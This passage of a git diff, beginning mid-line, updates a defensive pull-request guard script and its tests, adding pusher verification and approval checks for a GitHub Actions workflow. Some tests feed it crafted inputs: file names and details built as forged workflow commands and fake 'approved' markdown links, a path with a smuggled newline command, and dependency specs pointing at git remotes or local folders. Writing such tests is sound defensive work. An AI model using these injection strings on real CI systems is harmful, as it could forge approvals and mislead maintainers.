AbortSignal.timeout(30_000), + }); + } catch (error) { + throw new Error(error?.name === "TimeoutError" ? "no answer in 30 seconds" : "no answer"); + } + if (!response.ok) throw new Error(`HTTP ${response.status}`); + try { + return await response.json(); + } catch { + throw new Error("the answer was not JSON"); + } +} + +/** Every review on the pull request, oldest first. */ +async function fetchReviews(env) { const reviews = []; for (let page = 1; page <= 20; page++) { - const response = await fetch(`${api}/repos/${repository}/pulls/${number}/reviews?per_page=100&page=${page}`, { - headers: { accept: "application/vnd.github+json", "x-github-api-version": "2022-11-28", ...(token ? { authorization: `Bearer ${token}` } : {}) }, - }); - if (!response.ok) throw new Error(`reviews: HTTP ${response.status}`); - const batch = await response.json(); + const batch = await getJson(env, `/repos/${env.GITHUB_REPOSITORY}/pulls/${env.PR_NUMBER}/reviews?per_page=100&page=${page}`); + if (!Array.isArray(batch)) throw new Error("the answer was not a list"); reviews.push(...batch); if (batch.length < 100) return reviews; } - throw new Error("reviews: too many pages"); + throw new Error("more than 2000 reviews"); +} + +/** Who pushed `headSha` to the pull request's branch. Throws, with the reason, when GitHub cannot say. */ +async function fetchPusher(env, headSha) { + const pr = await getJson(env, `/repos/${env.GITHUB_REPOSITORY}/pulls/${env.PR_NUMBER}`); + if (pr?.head?.sha !== headSha) throw new Error("the pull request's head is now another commit"); + const branch = pr.head.ref, source = pr.head.repo?.full_name; + if (typeof branch !== "string" || !/^[\w.-]+\/[\w.-]+$/.test(source ?? "")) throw new Error("the pull request's branch is gone"); + const pusher = pusherOf(await getJson(env, `/repos/${source}/activity?ref=${encodeURIComponent(`refs/heads/${branch}`)}&per_page=100`), headSha); + if (!pusher) throw new Error("the branch's activity log does not list that push"); + return pusher; } +/** Read the pull request, ask GitHub what the rules cannot see, print the report. Returns the exit code. */ async function main(argv, env) { const flag = (name) => (argv.includes(`--${name}`) ? argv[argv.indexOf(`--${name}`) + 1] : undefined); const cwd = resolve(flag("repo") ?? "."); @@ -687,7 +776,7 @@ async function main(argv, env) { const base = flag("base") ?? env.GUARD_BASE ?? "HEAD"; if (!head) throw new Error("no head commit: pass --head or set GUARD_HEAD"); const author = flag("author") ?? env.PR_AUTHOR ?? ""; - const sender = flag("sender") ?? env.EVENT_SENDER ?? author; + const isOwner = (login) => OWNERS.includes(String(login ?? "").toLowerCase()); // the lock is read from this checkout (main's copy in CI), never from the pull request const lockedPaths = parseLock(readFileSync(resolve(flag("lock") ?? LOCK_PATH), "utf8")); @@ -695,26 +784,44 @@ async function main(argv, env) { const repo = openRepo(cwd, base, head); const findings = analyze(repo, { lockedPaths }); + const short = repo.headSha.slice(0, 7); + const notes = []; + const needsApproval = findings.some((f) => f.tier === "review") && !findings.some((f) => f.tier === "block"); + const onGitHub = Boolean(env.PR_NUMBER && env.GITHUB_REPOSITORY); + + // Who pushed the head commit. A local replay reads the branch as its author's own. In Actions nothing is assumed: a + // push event names the pusher of the commit it left as the head, and for anything else (opened, reopened, a head that + // has moved past that push) the branch's activity log is asked. + let pusher = flag("pusher") ?? (env.GITHUB_ACTIONS ? "" : author); + if (flag("pusher") === undefined && env.GITHUB_ACTIONS && needsApproval && isOwner(author)) { + if (env.EVENT_ACTION === "synchronize" && env.EVENT_AFTER === repo.headSha) pusher = env.EVENT_SENDER ?? ""; + else { + try { + if (!onGitHub) throw new Error("this run has no pull request to ask about"); + pusher = await fetchPusher(env, repo.headSha); + } catch (error) { + notes.push(`Could not confirm who pushed ${short} (${error.message}), so it is not counted as an owner's push. Re-run this job to ask again.`); + } + } + } let approvedBy = argv.includes("--approved") ? OWNERS[0] : null; - let note = ""; - const needsApproval = findings.some((f) => f.tier === "review") && !findings.some((f) => f.tier === "block"); - if (needsApproval && !approvedBy && env.PR_NUMBER && env.GITHUB_REPOSITORY) { + if (needsApproval && !approvedBy && onGitHub && !(isOwner(author) && isOwner(pusher))) { try { - const reviews = await fetchReviews({ api: env.GITHUB_API_URL ?? "https://api.github.com", repository: env.GITHUB_REPOSITORY, number: env.PR_NUMBER, token: env.GITHUB_TOKEN }); - approvedBy = ownerApproval(reviews, OWNERS, repo.headSha); + approvedBy = ownerApproval(await fetchReviews(env), OWNERS, repo.headSha); } catch (error) { - note = `Could not read the pull request's reviews (${error.message}), so no approval was counted. Re-run this job.`; + notes.push(`Could not read the pull request's reviews (${error.message}), so no approval was counted. Re-run this job.`); } } - const result = verdict(findings, { author, sender, approvedBy }); + const result = verdict(findings, { author, pusher, approvedBy }); + const note = notes.join(" "); if (argv.includes("--json")) { - console.log(JSON.stringify({ result, findings }, null, 1)); + console.log(JSON.stringify({ result, notes, findings }, null, 1)); return result.ok ? 0 : 1; } console.log(renderText(findings, result)); - if (note) console.log(` note: ${plain(note)}`); + if (note) console.log(` note: ${logged(note, 600)}`); if (env.GITHUB_STEP_SUMMARY) appendFileSync(env.GITHUB_STEP_SUMMARY, renderSummary(findings, result, { headSha: repo.headSha, note })); if (env.GITHUB_ACTIONS) { const level = { block: "error", review: result.ok ? "notice" : "warning" }; @@ -728,12 +835,13 @@ async function main(argv, env) { } if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) { - // any failure of the guard itself is a failed check, never a pass + // Any failure of the guard itself is a failed check, never a pass. The exit code is set rather than forced, so a report + // still on its way into a pipe is written in full before the process ends. main(process.argv.slice(2), process.env).then( - (exit) => process.exit(exit), + (exit) => { process.exitCode = exit; }, (error) => { - console.log(`pr-guard could not finish, so the check fails: ${plain(error?.message ?? error, 300)}`); - process.exit(1); + console.log(`pr-guard could not finish, so the check fails: ${logged(error?.message ?? error, 300)}`); + process.exitCode = 1; }, ); } diff --git a/.github/scripts/pr-guard.test.mjs b/.github/scripts/pr-guard.test.mjs index e1ee69b5..0d714183 100644 --- a/.github/scripts/pr-guard.test.mjs +++ b/.github/scripts/pr-guard.test.mjs @@ -4,8 +4,9 @@ // Invisible characters are built from code points and credentials from pieces, so this file holds neither. import assert from "node:assert/strict"; -import { execFileSync, spawnSync } from "node:child_process"; -import { chmodSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { execFile, execFileSync, spawnSync } from "node:child_process"; +import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { createServer } from "node:http"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; import { after, before, describe, test } from "node:test"; @@ -13,10 +14,11 @@ import { fileURLToPath } from "node:url"; import { OWNERS, RULES, analyze, annotation, hiddenCharacter, hostOf, lintManifest, lintNpmLock, openRepo, ownerApproval, parseHunks, - parseLock, plain, renderSummary, renderText, scanLines, verdict, + parseLock, plain, pusherOf, renderSummary, renderText, scanLines, verdict, } from "./pr-guard.mjs"; const GUARD = fileURLToPath(new URL("./pr-guard.mjs", import.meta.url)); +/** A string from code points, so no invisible character is ever written in this file. */ const cp = (...codes) => String.fromCodePoint(...codes); // ---------- fixture ---------- @@ -37,14 +39,17 @@ const LOCK = [ ].join("\n"); const LOCKED = parseLock(LOCK); +/** A lockfile entry as the registry writes it; `extra` overrides or adds fields. */ const entry = (name, version, extra = {}) => ({ version, resolved: `https://registry.npmjs.org/${name}/-/${name.split("/").pop()}-${version}.tgz`, integrity: `sha512-${"A".repeat(86)}==`, ...extra, }); +/** The text of a package-lock.json that holds `packages`: { name: entry }. */ const lockfile = (packages) => `${JSON.stringify({ name: "openlaunch", lockfileVersion: 3, packages: { "": { name: "openlaunch" }, ...Object.fromEntries(Object.entries(packages).map(([name, e]) => [`node_modules/${name}`, e])) } }, null, 2)}\n`; +/** The text of the base package.json with `fields` laid over it. */ const manifest = (fields) => `${JSON.stringify({ name: "openlaunch", private: true, scripts: { test: "tsx --test", build: "next build" }, dependencies: { sharp: "^0.35.4", viem: "^2.47.6" }, ...fields }, null, 2)}\n`; const BASE_LOCK = { sharp: entry("sharp", "0.35.4"), viem: entry("viem", "2.47.6"), esbuild: entry("esbuild", "0.28.2", { hasInstallScript: true }), "@scope/pkg": entry("@scope/pkg", "1.0.0") }; @@ -92,6 +97,7 @@ const GIT_ENV = { GIT_AUTHOR_NAME: "test", GIT_AUTHOR_EMAIL: "test@example.com", GIT_COMMITTER_NAME: "test", GIT_COMMITTER_EMAIL: "test@example.com", }; let dir, lockFile, baseSha; +/** Run git in the fixture repository and return what it printed. */ const git = (args, input) => execFileSync("git", args, { cwd: dir, input, env: GIT_ENV, stdio: ["pipe", "pipe", "pipe"] }).toString().trim(); /** @@ -124,9 +130,13 @@ function pullRequest(changes) { git(["clean", "-fdxq"]); return commit(changes, "pull request"); } +/** The guard's findings for a pull request that makes `changes`. */ const check = (changes) => analyze(openRepo(dir, baseSha, pullRequest(changes)), { lockedPaths: LOCKED }); +/** The distinct rules among some findings, sorted. */ const rules = (findings) => [...new Set(findings.map((f) => f.rule))].sort(); +/** The findings of one rule. */ const of = (findings, rule) => findings.filter((f) => f.rule === rule); +/** The details of one rule's findings, joined into one string to match against. */ const details = (findings, rule) => of(findings, rule).map((f) => f.detail).join(" | "); before(() => { @@ -291,7 +301,7 @@ describe("credentials", () => { test("a private key in code is blocked, and its value is never repeated", () => { const found = check({ "app/scripts/deploy.mjs": `const PRIVATE_KEY = "0x${key}";\n` }); assert.ok(rules(found).includes("secret")); - const report = renderSummary(found, verdict(found, { author: "someone", sender: "someone" }), { headSha: "a".repeat(40) }) + renderText(found, verdict(found, {})) + JSON.stringify(found); + const report = renderSummary(found, verdict(found, { author: "someone", pusher: "someone" }), { headSha: "a".repeat(40) }) + renderText(found, verdict(found, {})) + JSON.stringify(found); assert.ok(!report.includes(key), "the key must not be echoed into the public job log"); }); @@ -474,13 +484,60 @@ describe("dependencies", () => { } }); + test("every way npm reads a spec as a folder, a file or a git remote is blocked", () => { + const local = ["../../vendor/viem", "./vendor/pkg/viem.tgz", "/opt/viem", "~/viem", ".", "..", "viem-2.0.0.tgz", "viem.tar.gz", "viem.tar-gz", "viem.tarXgz", "C:\\viem", "..\\viem", " ./viem"]; + const remote = ["git@github.com:someone/viem.git", "someone/viem", "gist:11081aaa281", "workspace:*", "catalog:", "jsr:@someone/viem"]; + for (const spec of [...local, ...remote]) { + const found = lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: spec } }), manifest({})); + assert.deepEqual(rules(found), ["dependency-source"], spec); + } + // through the whole guard it is a block, for a change to package.json alone + const found = check({ "app/package.json": manifest({ dependencies: { sharp: "^0.35.4", viem: "../../vendor/viem" } }) }); + assert.deepEqual(found.map((f) => [f.rule, f.tier]), [["dependency-source", "block"]]); + }); + + test("a manifest or lockfile is read whole whatever its size, so padding cannot hide what is in it", () => { + const padding = " ".repeat(2_100_000); + const padded = check({ "app/package.json": manifest({ dependencies: { sharp: "^0.35.4", viem: "github:someone/viem" } }) + padding }); + assert.match(details(padded, "dependency-source"), /viem comes from "github:someone\/viem"/); + const paddedLock = check({ "app/package-lock.json": lockfile({ ...BASE_LOCK, sharp: entry("sharp", "0.35.4", { resolved: "https://example.org/sharp-0.35.4.tgz" }) }) + padding }); + assert.deepEqual(rules(paddedLock), ["dependencies", "lockfile"], "linted, not set aside as too large"); + assert.match(details(paddedLock, "lockfile"), /sharp@0\.35\.4 does not resolve to its own registry tarball/); + }); + + test("a manifest or lockfile the guard cannot check is blocked, not passed on for review", () => { + // nested deeper than the reader can follow, beside a dependency from git + const depth = 50_000; + const nested = manifest({ dependencies: { sharp: "^0.35.4", viem: "github:someone/viem" } }).replace(/\n\}\n$/, `,\n "resolutions": ${'{"a":'.repeat(depth)}"1.0.0"${"}".repeat(depth)}\n}\n`); + const unreadable = check({ "app/package.json": nested }); + assert.deepEqual(unreadable.map((f) => [f.rule, f.tier]), [["dependency-source", "block"]]); + assert.match(unreadable[0].detail, /^(could not be checked: could not be read|is not a valid package\.json)/); + + // past the number of files one pull request may have scanned + const filler = Array.from({ length: 1500 }, (_, i) => ({ status: "A", path: `a/${i}.md`, oldMode: "000000", newMode: "100644", oldSha: "0".repeat(40), newSha: "1".repeat(40) })); + const changed = (path) => ({ status: "M", path, oldMode: "100644", newMode: "100644", oldSha: "2".repeat(40), newSha: "3".repeat(40) }); + const repo = { changes: [...filler, changed("app/package-lock.json"), changed("app/package.json"), changed("app/src/lib/x.ts")], blob: () => Buffer.from("notes\n"), baseText: () => null, baseMatches: () => [], basePaths: () => [], diff: () => ({ added: [], removed: [] }) }; + assert.deepEqual(analyze(repo, { lockedPaths: LOCKED }).map((f) => [f.rule, f.tier, f.path]), [["lockfile", "block", "app/package-lock.json"], ["dependency-source", "block", "app/package.json"], ["unscanned", "review", "app/src/lib/x.ts"]]); + + // larger than the guard reads at all + const huge = { ...repo, changes: [changed("app/package.json"), changed("app/src/lib/x.ts")], blob: () => null }; + assert.deepEqual(analyze(huge, { lockedPaths: LOCKED }).map((f) => [f.rule, f.tier]), [["dependency-source", "block"], ["unscanned", "review"]]); + }); + + test("an override may point at one of this package's own dependencies, and at nothing else", () => { + const references = lintManifest("app/package.json", manifest({ overrides: { ox: "$viem", "@scope/kit": "$@scope/pkg" } }), manifest({})); + assert.deepEqual(rules(references), ["dependencies"]); + assert.deepEqual(rules(lintManifest("app/package.json", manifest({ overrides: { ox: "$../viem" } }), manifest({}))), ["dependency-source"]); + assert.deepEqual(rules(lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: "$sharp" } }), manifest({}))), ["dependency-source"], "only overrides have references"); + }); + test("an override is read like any other dependency", () => { const found = lintManifest("app/package.json", manifest({ overrides: { viem: { ox: "github:someone/ox" } } }), manifest({})); assert.match(details(found, "dependency-source"), /viem > ox comes from "github:someone\/ox"/); }); test("ordinary version ranges are not mistaken for off-registry sources", () => { - for (const spec of ["^1.2.3", "~1.2.3", "1.2.3", ">=1.2.3 <2", "1.x", "*", "latest", "19.2.3", "^16.3.8-canary.1"]) { + for (const spec of ["^1.2.3", "~1.2.3", "1.2.3", ">=1.2.3 <2", "1.x", "*", "latest", "19.2.3", "^16.3.8-canary.1", "^1 || ^2", "1.2.3 - 2.0.0", "1.0.0+build.5", "v1.2.3", "next", ""]) { assert.deepEqual(rules(lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: spec } }), manifest({}))), ["dependencies"], spec); } }); @@ -733,28 +790,47 @@ describe("verdict", () => { }); test("nothing found passes", () => { - assert.deepEqual(verdict([], { author: "someone", sender: "someone" }), { outcome: "pass", ok: true, blocks: 0, reviews: 0, ownPr: false, approvedBy: null }); + assert.deepEqual(verdict([], { author: "someone", pusher: "someone" }), { outcome: "pass", ok: true, blocks: 0, reviews: 0, byOwner: false, ownPr: false, approvedBy: null }); }); test("a sensitive change from a contributor waits for an owner", () => { - assert.equal(verdict([sensitive], { author: "someone", sender: "someone" }).outcome, "review"); - assert.equal(verdict([sensitive], { author: "someone", sender: "someone" }).ok, false); - const approved = verdict([sensitive], { author: "someone", sender: "someone", approvedBy: owner }); + assert.equal(verdict([sensitive], { author: "someone", pusher: "someone" }).outcome, "review"); + assert.equal(verdict([sensitive], { author: "someone", pusher: "someone" }).ok, false); + const approved = verdict([sensitive], { author: "someone", pusher: "someone", approvedBy: owner }); assert.deepEqual([approved.outcome, approved.ok, approved.approvedBy], ["pass", true, owner]); }); test("on an owner's own pull request a sensitive change is a notice", () => { - const result = verdict([sensitive], { author: owner, sender: owner }); + const result = verdict([sensitive], { author: owner, pusher: owner }); assert.deepEqual([result.outcome, result.ok, result.ownPr], ["pass", true, true]); }); test("an owner's pull request that someone else pushed to is treated like anyone's", () => { - assert.equal(verdict([sensitive], { author: owner, sender: "collaborator" }).ok, false); - assert.equal(verdict([sensitive], { author: "collaborator", sender: owner }).ok, false); + const held = verdict([sensitive], { author: owner, pusher: "collaborator" }); + assert.deepEqual([held.outcome, held.ok, held.byOwner, held.ownPr], ["review", false, true, false]); + assert.equal(verdict([sensitive], { author: "collaborator", pusher: owner }).ok, false); + }); + + test("a head commit with no known pusher is nobody's: the owner starting the run does not make it theirs", () => { + assert.equal(verdict([sensitive], { author: owner, pusher: "" }).ok, false); + assert.equal(verdict([sensitive], { author: owner }).ok, false); + assert.equal(verdict([sensitive], { author: owner, pusher: null }).ok, false); + }); + + test("the pusher of a commit is read from the branch's activity log", () => { + const log = [ + { activity_type: "push", before: OLD, after: HEAD, actor: { login: "collaborator" } }, + { activity_type: "branch_creation", before: "0".repeat(40), after: OLD, actor: { login: owner } }, + ]; + assert.equal(pusherOf(log, HEAD), "collaborator"); + assert.equal(pusherOf(log, OLD), owner); + assert.equal(pusherOf(log, "c".repeat(40)), null, "a commit the log does not list has no known pusher"); + assert.equal(pusherOf([{ after: HEAD, actor: null }], HEAD), null); + assert.equal(pusherOf({ message: "Not Found" }, HEAD), null); }); test("a block stays a block: no owner, no approval, nothing turns it into a pass", () => { - for (const context of [{ author: owner, sender: owner }, { author: "someone", sender: "someone", approvedBy: owner }, { author: owner, sender: owner, approvedBy: owner }]) { + for (const context of [{ author: owner, pusher: owner }, { author: "someone", pusher: "someone", approvedBy: owner }, { author: owner, pusher: owner, approvedBy: owner }]) { const result = verdict([block, sensitive], context); assert.deepEqual([result.outcome, result.ok], ["block", false]); } @@ -774,15 +850,55 @@ describe("report", () => { const sensitive = { tier: "review", rule: "new-host", path: "app/src/lib/track.ts", detail: "collect.metrics-cdn.io", line: 4 }; test("the summary says what happened and what to do next", () => { - const waiting = renderSummary([sensitive], verdict([sensitive], { author: "someone", sender: "someone" }), { headSha: HEAD }); + const waiting = renderSummary([sensitive], verdict([sensitive], { author: "someone", pusher: "someone" }), { headSha: HEAD }); assert.match(waiting, /^## pr-guard: needs an owner's approval/); assert.match(waiting, /approves commit `ccccccc` with a pull request review, then re-runs this job/); - assert.match(waiting, /`app\/src\/lib\/track\.ts`: collect\.metrics-cdn\.io \(line 4\)/); + assert.match(waiting, /^- `app\/src\/lib\/track\.ts`: `collect\.metrics-cdn\.io` \(line 4\)$/m); + assert.match(renderText([sensitive], verdict([sensitive], {})), /^ {6}- app\/src\/lib\/track\.ts: collect\.metrics-cdn\.io \(line 4\)$/m); assert.match(renderSummary([], verdict([], {}), { headSha: HEAD }), /^## pr-guard: passed/); const blocked = [{ tier: "block", rule: "ci-config", path: ".github/workflows/ci.yml", detail: "changed", line: null }]; assert.match(renderSummary(blocked, verdict(blocked, {}), { headSha: HEAD }), /^## pr-guard: blocked/); }); + test("an owner's pull request that waits is told the way through that GitHub allows", () => { + const held = renderSummary([sensitive], verdict([sensitive], { author: OWNERS[0], pusher: "collaborator" }), { headSha: HEAD }); + assert.match(held, /^## pr-guard: needs an owner's approval/); + assert.match(held, /commit `ccccccc` does not count as an owner's push\. \*\*To pass:\*\* an owner reads the points below and pushes the next commit/); + assert.doesNotMatch(held, /approves commit `ccccccc` with a pull request review, then re-runs/, "an author cannot approve their own pull request"); + assert.match(renderText([sensitive], verdict([sensitive], { author: OWNERS[0], pusher: "collaborator" })), /^ {2}an owner's pull request, held because the head commit does not count as an owner's push$/m); + const own = renderSummary([sensitive], verdict([sensitive], { author: OWNERS[0], pusher: OWNERS[0] }), { headSha: HEAD }); + assert.match(own, /^## pr-guard: passed\n\nAn owner's own pull request, and an owner pushed `ccccccc`\./); + }); + + test("a detail from the pull request is shown as code, so it cannot write a link or HTML into the summary", () => { + const bait = "[Approved, merge here](https://evil.example) `tick`"; + const found = [ + ...lintManifest("app/package.json", manifest({ dependencies: { sharp: "^0.35.4", viem: "^2.47.6", [bait]: "^1.0.0" }, scripts: { test: "tsx --test", build: "next build", [bait]: "true" } }), manifest({})), + ...scanLines("app/src/lib/x.ts", [{ n: 3, text: `const v = process.env["${bait.replace(/`/g, "")}"];` }], [], { addresses: new Set(), hosts: new Set(["evil.example"]), env: new Set() }), + ].map((f) => ({ ...f, tier: RULES[f.rule].tier })); + assert.deepEqual(rules(found), ["dependencies", "new-env"]); + const summary = renderSummary(found, verdict(found, {}), { headSha: HEAD }); + const items = summary.split("\n").filter((line) => line.startsWith("- ")); + assert.equal(items.length, 2); + for (const item of items) { + assert.match(item, /Approved, merge here/); + // outside the code spans there is nothing left of it: no bracket, no tag, no address + assert.doesNotMatch(item.replace(/`[^`]*`/g, ""), /[[\]<>]|https?:/, item); + assert.doesNotMatch(item, /`tick`/, "a backtick in the detail cannot close the span"); + } + // the job log is plain text, so there it is printed as it is + assert.ok(renderText(found, verdict(found, {})).includes(`npm script "${bait}" added`)); + }); + + test("a file name cannot be read from the job log as a workflow command", () => { + // the runner takes "::command::" at the start of a line, spaces aside, and "##[command]" anywhere in one + const names = ["::notice title=pr-guard%3A passed::Approved by an owner, safe to merge", "::stop-commands::x", "docs/##[error]forged.md"]; + const found = names.map((path) => ({ ...sensitive, path, detail: "##[warning]forged too" })); + const log = renderText(found, verdict(found, {})); + assert.match(log, /^ {6}- ::notice title=pr-guard%3A passed::Approved by an owner, safe to merge: /m, "the name is still shown"); + for (const line of log.split("\n")) assert.doesNotMatch(line, /^\s*::|##\[/, line); + }); + test("text from the pull request cannot break out of the report", () => { const path = "app/src/x`.ts\n::error::owned"; assert.equal(plain(path), "app/src/x`.ts ::error::owned"); @@ -816,7 +932,7 @@ describe("command line", () => { assert.match(waiting.stdout, /pr-guard: review {2}\(0 blocking, 1 for review\)/); assert.equal(run(["--base", baseSha, "--head", sensitive, "--author", "someone", "--approved"]).status, 0); assert.equal(run(["--base", baseSha, "--head", sensitive, "--author", OWNERS[0]]).status, 0); - assert.equal(run(["--base", baseSha, "--head", sensitive, "--author", OWNERS[0], "--sender", "collaborator"]).status, 1); + assert.equal(run(["--base", baseSha, "--head", sensitive, "--author", OWNERS[0], "--pusher", "collaborator"]).status, 1); const blocked = pullRequest({ "contracts/src/LaunchFactory.sol": "contract LaunchFactory { address owner; }\n" }); assert.equal(run(["--base", baseSha, "--head", blocked, "--author", OWNERS[0], "--approved"]).status, 1); @@ -826,9 +942,26 @@ describe("command line", () => { const head = pullRequest({ ".github/workflows/ci.yml": "name: ci\n# edited\n" }); const out = JSON.parse(run(["--base", baseSha, "--head", head, "--author", "someone", "--json"]).stdout); assert.equal(out.result.outcome, "block"); + assert.deepEqual(out.notes, []); assert.deepEqual(out.findings.map((f) => [f.rule, f.path]), [["ci-config", ".github/workflows/ci.yml"]]); }); + test("a long report reaches a pipe whole", () => { + const head = pullRequest(Object.fromEntries(Array.from({ length: 12 }, (_, i) => [`app/src/lib/flood${i}.ts`, "eval(x);\n".repeat(190)]))); + const piped = run(["--base", baseSha, "--head", head, "--author", "someone", "--json"]); + assert.ok(piped.stdout.length > 250_000, "longer than a pipe holds, on Linux as on a Mac"); + assert.equal(JSON.parse(piped.stdout).findings.length, 12 * 190); + assert.equal(piped.status, 1); + }); + + test("a file named like a workflow command starts no line of the output", () => { + const head = pullRequest({ "::notice title=pr-guard%3A passed::safe to merge": "eval(x);\n" }); + const result = run(["--base", baseSha, "--head", head, "--author", "someone"]); + assert.equal(result.status, 1); + assert.match(result.stdout, /^ {6}- ::notice title=pr-guard%3A passed::safe to merge: eval\(\) \(line 1\)$/m); + for (const line of result.stdout.split("\n")) assert.doesNotMatch(line, /^\s*::/, line); + }); + test("when the guard itself cannot finish, the check fails", () => { const missingHead = run(["--base", baseSha, "--head", "f".repeat(40), "--author", OWNERS[0]]); assert.equal(missingHead.status, 1); @@ -848,6 +981,98 @@ describe("command line", () => { assert.equal(result.status, 1); assert.match(result.stdout, /^::error title=pr-guard%3A CI%2C the guard or code owners changed,file=\.github\/workflows\/ci\.yml::/m); assert.match(result.stdout, /^::warning title=pr-guard%3A A host the repository has not used before,file=app\/src\/lib\/t\.ts,line=1::/m); - assert.match(execFileSync("cat", [summary]).toString(), /## pr-guard: blocked/); + assert.match(readFileSync(summary, "utf8"), /## pr-guard: blocked/); + }); +}); + +// ---------- the command inside Actions, with GitHub to ask ---------- + +describe("who pushed the head commit, and who approved it", () => { + const owner = OWNERS[0], OLD = "b".repeat(40); + let server, api, head, state; + /** Answer a request to the stand-in API with JSON. */ + const reply = (res, status, body) => { res.writeHead(status, { "content-type": "application/json" }); res.end(JSON.stringify(body)); }; + /** A branch's activity log, newest first: `login` pushed the head on top of a commit the owner pushed. */ + const pushedBy = (login) => [{ activity_type: "push", before: OLD, after: head, actor: { login } }, { activity_type: "branch_creation", before: "0".repeat(40), after: OLD, actor: { login: owner } }]; + /** The pull request's reviews: one approval, by the owner, of `commit_id`. */ + const approvalOf = (commit_id) => [{ id: 1, user: { login: owner }, state: "APPROVED", commit_id, submitted_at: "2026-10-12T01:00:00Z" }]; + + /** Run the guard as the workflow does, against a stand-in for the GitHub API. `answers` is what GitHub would say. */ + const guard = (answers, env = {}) => new Promise((done) => { + state = { asked: [], activity: [], reviews: [], ...answers }; + const options = { encoding: "utf8", env: { ...process.env, GITHUB_ACTIONS: "true", GITHUB_STEP_SUMMARY: "", GITHUB_API_URL: api, GITHUB_REPOSITORY: "o/r", GITHUB_TOKEN: "", PR_NUMBER: "7", PR_AUTHOR: owner, EVENT_ACTION: "opened", EVENT_AFTER: "", EVENT_SENDER: owner, ...env } }; + execFile(process.execPath, [GUARD, "--repo", dir, "--lock", lockFile, "--base", baseSha, "--head", head], options, (error, stdout) => done({ status: error ? error.code : 0, stdout, asked: state.asked })); + }); + + before(async () => { + head = pullRequest({ "app/src/lib/launchpad/config.ts": BASE["app/src/lib/launchpad/config.ts"].replace(ROUTER, STRANGER) }); + server = createServer((req, res) => { + const url = new URL(req.url, "http://github.test"); + const what = url.pathname.replace("/repos/o/r/", ""); + state.asked.push(what); + if (state.down) return reply(res, 503, {}); + if (what === "pulls/7") return reply(res, 200, { head: { sha: state.movedTo ?? head, ref: "feature/x", repo: { full_name: "o/r" } } }); + if (what === "activity" && url.searchParams.get("ref") === "refs/heads/feature/x") return reply(res, 200, state.activity); + if (what === "pulls/7/reviews") return reply(res, 200, state.reviews); + return reply(res, 404, {}); + }); + await new Promise((listening) => server.listen(0, "127.0.0.1", listening)); + api = `http://127.0.0.1:${server.address().port}`; + }); + after(() => new Promise((closed) => server.close(closed))); + + test("an owner opens a pull request from a branch they pushed: the sensitive change is a notice", async () => { + const result = await guard({ activity: [{ activity_type: "branch_creation", before: "0".repeat(40), after: head, actor: { login: owner } }] }); + assert.equal(result.status, 0); + assert.match(result.stdout, /pr-guard: pass {2}\(0 blocking, 1 for review\)/); + assert.match(result.stdout, /^::notice title=pr-guard%3A On-chain address,/m); + assert.deepEqual(result.asked, ["pulls/7", "activity"]); + }); + + test("an owner reopens a pull request that someone else pushed to while it was closed: it waits", async () => { + const result = await guard({ activity: pushedBy("collaborator") }, { EVENT_ACTION: "reopened" }); + assert.equal(result.status, 1); + assert.match(result.stdout, /pr-guard: review {2}\(0 blocking, 1 for review\)/); + assert.deepEqual(result.asked, ["pulls/7", "activity", "pulls/7/reviews"]); + }); + + test("an owner opens a pull request from a branch someone else pushed: it waits", async () => { + assert.equal((await guard({ activity: pushedBy("collaborator") })).status, 1); + assert.equal((await guard({ activity: pushedBy(owner) })).status, 0); + }); + + test("a push names its pusher, so nothing is asked: the owner's passes, anyone else's waits", async () => { + const own = await guard({ activity: pushedBy("collaborator") }, { EVENT_ACTION: "synchronize", EVENT_AFTER: head }); + assert.deepEqual([own.status, own.asked], [0, []]); + const other = await guard({ activity: pushedBy(owner) }, { EVENT_ACTION: "synchronize", EVENT_AFTER: head, EVENT_SENDER: "collaborator" }); + assert.deepEqual([other.status, other.asked], [1, ["pulls/7/reviews"]]); + }); + + test("a push event whose commit is no longer the head does not speak for the head: the log is asked", async () => { + const overtaken = await guard({ activity: pushedBy("collaborator") }, { EVENT_ACTION: "synchronize", EVENT_AFTER: OLD }); + assert.deepEqual([overtaken.status, overtaken.asked], [1, ["pulls/7", "activity", "pulls/7/reviews"]]); + assert.equal((await guard({ activity: pushedBy(owner) }, { EVENT_ACTION: "synchronize", EVENT_AFTER: OLD })).status, 0); + assert.equal((await guard({ activity: pushedBy("collaborator") }, { EVENT_ACTION: "synchronize" })).status, 1, "a push event that names no commit"); + }); + + test("when GitHub cannot say who pushed the commit, it is nobody's", async () => { + const down = await guard({ down: true }); + assert.equal(down.status, 1); + assert.match(down.stdout, /note: Could not confirm who pushed [0-9a-f]{7} \(HTTP 503\), so it is not counted as an owner's push\./); + assert.match((await guard({ activity: [] })).stdout, /\(the branch's activity log does not list that push\)/); + assert.match((await guard({ activity: pushedBy(owner), movedTo: OLD })).stdout, /\(the pull request's head is now another commit\)/); + const nothingToAsk = await guard({ activity: pushedBy(owner) }, { PR_NUMBER: "" }); + assert.deepEqual([nothingToAsk.status, nothingToAsk.asked], [1, []]); + assert.match(nothingToAsk.stdout, /\(this run has no pull request to ask about\)/); + }); + + test("a contributor's pull request passes on an owner's approval of the head commit, and only of that commit", async () => { + const approved = await guard({ reviews: approvalOf(head) }, { PR_AUTHOR: "someone", EVENT_SENDER: "someone" }); + assert.deepEqual([approved.status, approved.asked], [0, ["pulls/7/reviews"]]); + assert.equal((await guard({ reviews: approvalOf(OLD) }, { PR_AUTHOR: "someone", EVENT_SENDER: "someone" })).status, 1); + assert.equal((await guard({}, { PR_AUTHOR: "someone", EVENT_SENDER: owner, EVENT_ACTION: "reopened" })).status, 1, "an owner reopening it is not an approval"); + const unread = await guard({ down: true }, { PR_AUTHOR: "someone", EVENT_SENDER: "someone" }); + assert.equal(unread.status, 1); + assert.match(unread.stdout, /Could not read the pull request's reviews \(HTTP 503\), so no approval was counted\./); }); }); diff --git a/.github/scripts/workflows.test.mjs b/.github/scripts/workflows.test.mjs index ea0b6f98..cfc5740b 100644 --- a/.github/scripts/workflows.test.mjs +++ b/.github/scripts/workflows.test.mjs @@ -1,7 +1,11 @@ -// The workflow files keep the properties the pull request guard depends on. node --test .github/scripts/workflows.test.mjs 